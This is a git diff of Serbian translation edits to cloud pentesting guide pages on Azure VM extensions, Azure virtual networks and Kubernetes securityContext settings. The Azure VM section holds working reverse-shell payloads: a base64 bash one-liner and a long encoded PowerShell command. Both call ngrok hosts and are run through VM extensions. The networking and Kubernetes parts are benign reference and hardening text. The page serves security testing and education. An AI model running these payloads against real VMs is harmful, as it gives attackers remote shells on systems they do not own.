+432,9 @@ Get-AzStorageAccount Get-AzVMExtension -VMName -ResourceGroupName ``` +{{#endtab }} +{{#endtabs }} + ## Izvršavanje Koda u VM-ovima ### VM Ekstenzije @@ -462,7 +470,7 @@ Moguće je **pokrenuti prilagođene ekstenzije koje izvršavaju prilagođeni kod {{#tabs }} {{#tab name="Linux" }} -- Izvrši reverznu ljusku +- Izvrši reverznu školjku ```bash # Prepare the rev shell echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64 @@ -478,7 +486,7 @@ az vm extension set \ --settings '{}' \ --protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}' ``` -- Izvršite skriptu koja se nalazi na internetu +- Izvršite skriptu smeštenu na internetu ```bash az vm extension set \ --resource-group rsc-group> \ @@ -509,7 +517,7 @@ az vm extension set \ --protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}' ``` -- Izvrši reverznu školjku iz datoteke +- Izvrši reverznu ljusku iz fajla ```bash az vm extension set \ --resource-group \ @@ -603,13 +611,13 @@ Set-AzVMDscExtension ` Hybrid Runbook Worker -Ovo je VM ekstenzija koja bi omogućila izvršavanje runbook-ova u VMs iz automatskog naloga. Za više informacija proverite [Automation Accounts service](../az-automation-account/index.html). +Ovo je VM ekstenzija koja bi omogućila izvršavanje runbook-ova u VM-ovima iz automatskog naloga. Za više informacija pogledajte [Automation Accounts service](../az-automation-account/index.html).
### VM Applications -Ovo su paketi sa svim **podacima o aplikaciji i skriptama za instalaciju i deinstalaciju** koji se mogu koristiti za lako dodavanje i uklanjanje aplikacija u VMs. +Ovo su paketi sa svim **podacima o aplikaciji i skriptama za instalaciju i deinstalaciju** koji se mogu koristiti za lako dodavanje i uklanjanje aplikacija u VM-ovima. ```bash # List all galleries in resource group az sig list --resource-group --output table @@ -627,7 +635,7 @@ Proverite kako da instalirate nove aplikacije na [https://learn.microsoft.com/en > [!CAUTION] > Moguće je **deliti pojedinačne aplikacije i galerije sa drugim pretplatama ili zakupcima**. Što je veoma zanimljivo jer bi to moglo omogućiti napadaču da unese backdoor u aplikaciju i pređe na druge pretplate i zakupce. -Ali **ne postoji "marketplace" za vm aplikacije** kao što postoji za ekstenzije. +Ali ne **postoji "marketplace" za vm aplikacije** kao što postoji za ekstenzije. Potrebne dozvole su: @@ -721,17 +729,17 @@ az vm application set \ ### Korisnički podaci -Ovo su **perzistentni podaci** koji se mogu preuzeti sa metadata krajnje tačke u bilo kojem trenutku. Napomena: u Azure-u korisnički podaci se razlikuju od AWS-a i GCP-a jer **ako ovde postavite skriptu, ona se po defaultu ne izvršava**. +Ovo su **perzistentni podaci** koji se mogu preuzeti sa metadata krajnje tačke u bilo kojem trenutku. Napomena: u Azure korisnički podaci se razlikuju od AWS i GCP jer **ako ovde postavite skriptu, ona se po defaultu ne izvršava**. ### Prilagođeni podaci Moguće je proslediti neke podatke VM-u koji će biti sačuvani na očekivanim putanjama: -- U **Windows-u** prilagođeni podaci se smeštaju u `%SYSTEMDRIVE%\AzureData\CustomData.bin` kao binarni fajl i ne obrađuju se. -- U **Linux-u** su se čuvali u `/var/lib/waagent/ovf-env.xml`, a sada se čuvaju u `/var/lib/waagent/CustomData/ovf-env.xml` +- U **Windows** prilagođeni podaci se smeštaju u `%SYSTEMDRIVE%\AzureData\CustomData.bin` kao binarni fajl i ne obrađuju se. +- U **Linux** su se čuvali u `/var/lib/waagent/ovf-env.xml`, a sada se čuvaju u `/var/lib/waagent/CustomData/ovf-env.xml` - **Linux agent**: Po defaultu ne obrađuje prilagođene podatke, potrebna je prilagođena slika sa omogućеним podacima - **cloud-init:** Po defaultu obrađuje prilagođene podatke i ovi podaci mogu biti u [**several formats**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Može lako izvršiti skriptu jednostavno slanjem samo skripte u prilagođenim podacima. -- Pokušao sam da i Ubuntu i Debian izvrše skriptu koju ovde stavite. +- Pokušao sam da i Ubuntu i Debian izvrše skriptu koju ovde postavite. - Takođe nije potrebno omogućiti korisničke podatke da bi ovo bilo izvršeno. ```bash #!/bin/sh diff --git a/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md b/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md index 00e1debbb..dc5ecf053 100644 --- a/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md +++ b/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md @@ -4,7 +4,7 @@ ## Osnovne Informacije -Azure pruža **virtuelne mreže (VNet)** koje omogućavaju korisnicima da kreiraju **izolovane** **mreže** unutar Azure oblaka. Unutar ovih VNets, resursi kao što su virtuelne mašine, aplikacije, baze podataka... mogu se sigurno hostovati i upravljati. Mrežno povezivanje u Azure podržava kako komunikaciju unutar oblaka (između Azure usluga), tako i povezivanje sa spoljnim mrežama i internetom.\ +Azure pruža **virtuelne mreže (VNet)** koje omogućavaju korisnicima da kreiraju **izolovane** **mreže** unutar Azure oblaka. Unutar ovih VNets, resursi kao što su virtuelne mašine, aplikacije, baze podataka... mogu biti sigurno hostovani i upravljani. Mrežno povezivanje u Azure podržava kako komunikaciju unutar oblaka (između Azure usluga), tako i povezivanje sa spoljnim mrežama i internetom.\ Pored toga, moguće je **povezati** VNets sa drugim VNets i sa lokalnim mrežama. ## Virtuelna Mreža (VNET) i Podmreže @@ -91,19 +91,20 @@ Get-AzNetworkSecurityGroup -Name -ResourceGroupName -ResourceGroupName - ## Azure Hub, Spoke & VNet Peering -**VNet Peering** je mrežna funkcija u Azure koja **omogućava različitim Virtuelnim Mrežama (VNets) da budu povezane direktno i neprimetno**. Kroz VNet peering, resursi u jednoj VNet mogu komunicirati sa resursima u drugoj VNet koristeći privatne IP adrese, **kao da su u istoj mreži**.\ -**VNet Peering se takođe može koristiti sa lokalnim mrežama** postavljanjem site-to-site VPN-a ili Azure ExpressRoute-a. +**VNet Peering** je mrežna funkcija u Azure koja **omogućava različitim Virtuelnim Mrežama (VNets) da budu direktno i neometano povezane**. Kroz VNet peering, resursi u jednoj VNet mogu komunicirati sa resursima u drugoj VNet koristeći privatne IP adrese, **kao da su u istoj mreži**.\ +**VNet Peering se takođe može koristiti sa on-prem mrežama** postavljanjem site-to-site VPN-a ili Azure ExpressRoute-a. **Azure Hub i Spoke** je mrežna topologija koja se koristi u Azure za upravljanje i organizovanje mrežnog saobraćaja. **"Hub" je centralna tačka koja kontroliše i usmerava saobraćaj između različitih "spokova"**. Hub obično sadrži deljene usluge kao što su mrežni virtuelni uređaji (NVAs), Azure VPN Gateway, Azure Firewall ili Azure Bastion. **"Spokovi" su VNets koje hostuju radne opterećenja i povezuju se sa hub-om koristeći VNet peering**, omogućavajući im da koriste deljene usluge unutar huba. Ovaj model promoviše čist raspored mreže, smanjujući složenost centralizovanjem zajedničkih usluga koje više radnih opterećenja iz različitih VNets mogu koristiti. @@ -330,7 +331,7 @@ az network application-gateway waf-config list --gateway-name - **Primer:** -Zamislite kompaniju sa odvojenim odeljenjima kao što su Prodaja, Ljudski resursi i Razvoj, **svako sa svojom VNet (spokovi)**. Ove VNets **zahtevaju pristup deljenim resursima** kao što su centralna baza podataka, vatrozid i internet prolaz, koji se svi nalaze u **drugoj VNet (hub)**. Korišćenjem modela Hub i Spoke, svako odeljenje može **sigurno da se poveže sa deljenim resursima kroz hub VNet bez izlaganja tih resursa javnom internetu** ili stvaranja složene mrežne strukture sa brojnim vezama. +Zamislite kompaniju sa odvojenim odeljenjima kao što su Prodaja, Ljudski resursi i Razvoj, **svako sa svojom VNet (spokovi)**. Ove VNets **zahtevaju pristup deljenim resursima** kao što su centralna baza podataka, vatrozid i internet prolaz, koji se svi nalaze u **drugoj VNet (hub)**. Korišćenjem modela Hub i Spoke, svako odeljenje može **sigurno da se poveže sa deljenim resursima kroz hub VNet bez izlaganja tih resursa javnom internetu** ili kreiranja složene mrežne strukture sa brojnim vezama. ### Enumeration @@ -367,7 +368,7 @@ Site-to-Site VPN u Azure-u omogućava vam da **povežete vašu lokalnu mrežu sa **Primer:** -Firma čija se glavna kancelarija nalazi u Njujorku ima lokalni data centar koji treba da se sigurno poveže sa svojim VNet-om u Azure-u, koji hostuje njene virtualizovane radne opterećenja. Postavljanjem **Site-to-Site VPN-a, kompanija može osigurati enkriptovanu povezanost između lokalnih servera i Azure VM-ova**, omogućavajući resursima da se sigurno pristupa kroz oba okruženja kao da su u istoj lokalnoj mreži. +Firma čija se glavna kancelarija nalazi u Njujorku ima lokalni data centar koji treba da se sigurno poveže sa svojom VNet-om u Azure-u, koja hostuje njene virtualizovane radne opterećenja. Postavljanjem **Site-to-Site VPN-a, kompanija može osigurati enkriptovanu povezanost između lokalnih servera i Azure VM-ova**, omogućavajući resursima da se sigurno pristupa kroz oba okruženja kao da su u istoj lokalnoj mreži. ### **Enumeration** diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md b/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md index 169e8d998..bf5ddc613 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md @@ -13,16 +13,17 @@ Kada definišete bezbednosni kontekst Pod-a, možete koristiti nekoliko atributa - Ako je moguće, razmotrite **ograničavanje** **dozvola** označavanjem **seLinuxOptions** i **seccompProfile** - **NE** dajte **privilegovan** **grupni** pristup putem **runAsGroup** i **supplementaryGroups** -|

fsGroup
integer

|

Specijalna dopunska grupa koja se primenjuje na sve kontejnere u podu. Neki tipovi volumena omogućavaju Kubelet-u da promeni vlasništvo tog volumena da bude u vlasništvu poda:
1. Vlasnički GID će biti FSGroup
2. Setgid bit je postavljen (nove datoteke kreirane u volumenu će biti u vlasništvu FSGroup)
3. Bitovi dozvola su OR'd sa rw-rw---- Ako nije postavljeno, Kubelet neće menjati vlasništvo i dozvole bilo kog volumena

| -| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| Parametar | Opis | +|

fsGroup
integer

|

Specijalna dopunska grupa koja se primenjuje na sve kontejnere u podu. Neki tipovi volumena omogućavaju Kubelet-u da promeni vlasništvo tog volumena da bude u vlasništvu poda:
1. Vlasnički GID će biti FSGroup
2. setgid bit je postavljen (nove datoteke kreirane u volumenu će biti u vlasništvu FSGroup)
3. Dozvola je OR'd sa rw-rw---- Ako nije postavljeno, Kubelet neće menjati vlasništvo i dozvole bilo kog volumena

| + |

fsGroupChangePolicy
string

| Ovo definiše ponašanje **promene vlasništva i dozvola volumena** pre nego što bude izložen unutar Pod-a. | -|

runAsGroup
integer

| **GID za pokretanje ulazne tačke procesa kontejnera**. Koristi podrazumevanu vrednost vremena izvođenja ako nije postavljeno. Može se takođe postaviti u SecurityContext. | -|

runAsNonRoot
boolean

| Ukazuje da kontejner mora da se pokrene kao korisnik koji nije root. Ako je tačno, Kubelet će validirati sliku u vreme izvođenja kako bi osigurao da se ne pokreće kao UID 0 (root) i neće moći da pokrene kontejner ako to učini. | -|

runAsUser
integer

| **UID za pokretanje ulazne tačke procesa kontejnera**. Podrazumevano je korisnik naveden u metapodacima slike ako nije navedeno. | -|

seLinuxOptions
SELinuxOptions
Više informacija o seLinux

| **SELinux kontekst koji će se primeniti na sve kontejnere**. Ako nije navedeno, runtime kontejnera će dodeliti nasumičan SELinux kontekst za svaki kontejner. | +|

runAsGroup
integer

| **GID za pokretanje ulazne tačke procesa kontejnera**. Koristi podrazumevanu vrednost ako nije postavljeno. Može se takođe postaviti u SecurityContext. | +|

runAsNonRoot
boolean

| Ukazuje da kontejner mora da se pokrene kao korisnik koji nije root. Ako je tačno, Kubelet će validirati sliku u vreme izvršavanja kako bi osigurao da se ne pokreće kao UID 0 (root) i neće moći da pokrene kontejner ako to učini. | +|

runAsUser
integer

| **UID za pokretanje ulazne tačke procesa kontejnera**. Podrazumevano se postavlja na korisnika navedenog u metapodacima slike ako nije navedeno. | +|

seLinuxOptions
SELinuxOptions
Više informacija o seLinux

| **SELinux kontekst koji će se primeniti na sve kontejnere**. Ako nije navedeno, kontejnerski runtime će dodeliti nasumičan SELinux kontekst za svaki kontejner. | |

seccompProfile
SeccompProfile
Više informacija o Seccomp

| **seccomp opcije koje koriste kontejneri** u ovom podu. | |

supplementalGroups
integer array

| Lista **grupa primenjenih na prvi proces pokrenut u svakom kontejneru**, pored primarnog GID-a kontejnera. | -|

sysctls
Sysctl niz
Više informacija o sysctls

| Sysctls sadrži listu **imenskih sysctls korišćenih za pod**. Podovi sa nepodržanim sysctls (od strane runtime-a kontejnera) mogu propasti prilikom pokretanja. | +|

sysctls
Sysctl niz
Više informacija o sysctls

| Sysctls sadrži listu **imenskih sysctls korišćenih za pod**. Podovi sa nepodržanim sysctls (od strane kontejnerskog runtime-a) mogu propasti prilikom pokretanja. | |

windowsOptions
WindowsSecurityContextOptions

| Windows specifične postavke primenjene na sve kontejnere. Ako nije navedeno, koristiće se opcije unutar SecurityContext-a kontejnera. | ## SecurityContext @@ -31,9 +32,9 @@ Kada definišete bezbednosni kontekst Pod-a, možete koristiti nekoliko atributa Ovaj kontekst se postavlja unutar **definicija kontejnera**. Sa stanovišta odbrane, trebali biste razmotriti: -- **allowPrivilegeEscalation** na **False** +- **allowPrivilegeEscalation** da bude **False** - Ne dodavati osetljive **kapacitete** (i ukloniti one koje ne trebate) -- **privileged** na **False** +- **privileged** da bude **False** - Ako je moguće, postavite **readOnlyFilesystem** na **True** - Postavite **runAsNonRoot** na **True** i postavite **runAsUser** - Ako je moguće, razmotrite **ograničavanje** **dozvola** označavanjem **seLinuxOptions** i **seccompProfile** @@ -41,16 +42,16 @@ Ovaj kontekst se postavlja unutar **definicija kontejnera**. Sa stanovišta odbr Napomena: Atributi postavljeni u **SecurityContext i PodSecurityContext**, vrednost navedena u **SecurityContext** ima **prioritet**. -|

allowPrivilegeEscalation
boolean

| **AllowPrivilegeEscalation** kontroliše da li proces može **dobiti više privilegija** od svog roditeljskog procesa. Ova bool direktno kontroliše da li će biti postavljena oznaka no_new_privs na procesu kontejnera. AllowPrivilegeEscalation je uvek tačno kada se kontejner pokreće kao **Privileged** ili ima **CAP_SYS_ADMIN** | +|

allowPrivilegeEscalation
boolean

| **AllowPrivilegeEscalation** kontroliše da li proces može **dobiti više privilegija** od svog roditeljskog procesa. Ova bool direktno kontroliše da li će no_new_privs flag biti postavljen na proces kontejnera. AllowPrivilegeEscalation je uvek tačno kada se kontejner pokreće kao **Privileged** ili ima **CAP_SYS_ADMIN** | | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -|

capabilities
Capabilities
Više informacija o Capabilities

| **kapaciteti koje treba dodati/ukloniti prilikom pokretanja kontejnera**. Podrazumevano je podrazumevani skup kapaciteta. | +|

capabilities
Capabilities
Više informacija o Capabilities

| **kapaciteti za dodavanje/uklanjanje prilikom pokretanja kontejnera**. Podrazumevano se koristi podrazumevani skup kapaciteta. | |

privileged
boolean

| Pokreni kontejner u privilegovanom režimu. Procesi u privilegovanim kontejnerima su suštinski **ekvivalentni root-u na hostu**. Podrazumevano je false. | -|

procMount
string

| procMount označava **tip proc mount-a koji će se koristiti za kontejnere**. Podrazumevano je DefaultProcMount koji koristi podrazumevane vrednosti runtime-a za putanje samo za čitanje i maskirane putanje. | -|

readOnlyRootFilesystem
boolean

| Da li ovaj **kontejner ima sistem datoteka samo za čitanje**. Podrazumevano je false. | -|

runAsGroup
integer

| **GID za pokretanje ulazne tačke** procesa kontejnera. Koristi podrazumevanu vrednost vremena izvođenja ako nije postavljeno. | -|

runAsNonRoot
boolean

| Ukazuje da kontejner mora **da se pokrene kao korisnik koji nije root**. Ako je tačno, Kubelet će validirati sliku u vreme izvođenja kako bi osigurao da se ne pokreće kao UID 0 (root) i neće moći da pokrene kontejner ako to učini. | -|

runAsUser
integer

| **UID za pokretanje ulazne tačke** procesa kontejnera. Podrazumevano je korisnik naveden u metapodacima slike ako nije navedeno. | -|

seLinuxOptions
SELinuxOptions
Više informacija o seLinux

| **SELinux kontekst koji će se primeniti na kontejner**. Ako nije navedeno, runtime kontejnera će dodeliti nasumičan SELinux kontekst za svaki kontejner. | +|

procMount
string

| procMount označava **tip proc mount-a koji će se koristiti za kontejnere**. Podrazumevano je DefaultProcMount koji koristi podrazumevane vrednosti kontejnerskog runtime-a za samo-za-čitanje i maskirane putanje. | +|

readOnlyRootFilesystem
boolean

| Da li ovaj **kontejner ima samo-za-čitanje korenski datotečni sistem**. Podrazumevano je false. | +|

runAsGroup
integer

| **GID za pokretanje ulazne tačke** procesa kontejnera. Koristi podrazumevanu vrednost ako nije postavljeno. | +|

runAsNonRoot
boolean

| Ukazuje da kontejner mora **da se pokrene kao korisnik koji nije root**. Ako je tačno, Kubelet će validirati sliku u vreme izvršavanja kako bi osigurao da se ne pokreće kao UID 0 (root) i neće moći da pokrene kontejner ako to učini. | +|

runAsUser
integer

| **UID za pokretanje ulazne tačke** procesa kontejnera. Podrazumevano se postavlja na korisnika navedenog u metapodacima slike ako nije navedeno. | +|

seLinuxOptions
SELinuxOptions
Više informacija o seLinux

| **SELinux kontekst koji će se primeniti na kontejner**. Ako nije navedeno, kontejnerski runtime će dodeliti nasumičan SELinux kontekst za svaki kontejner. | |

seccompProfile
SeccompProfile

| **seccomp opcije** koje koristi ovaj kontejner. | |

windowsOptions
WindowsSecurityContextOptions

| **Windows specifične postavke** primenjene na sve kontejnere. |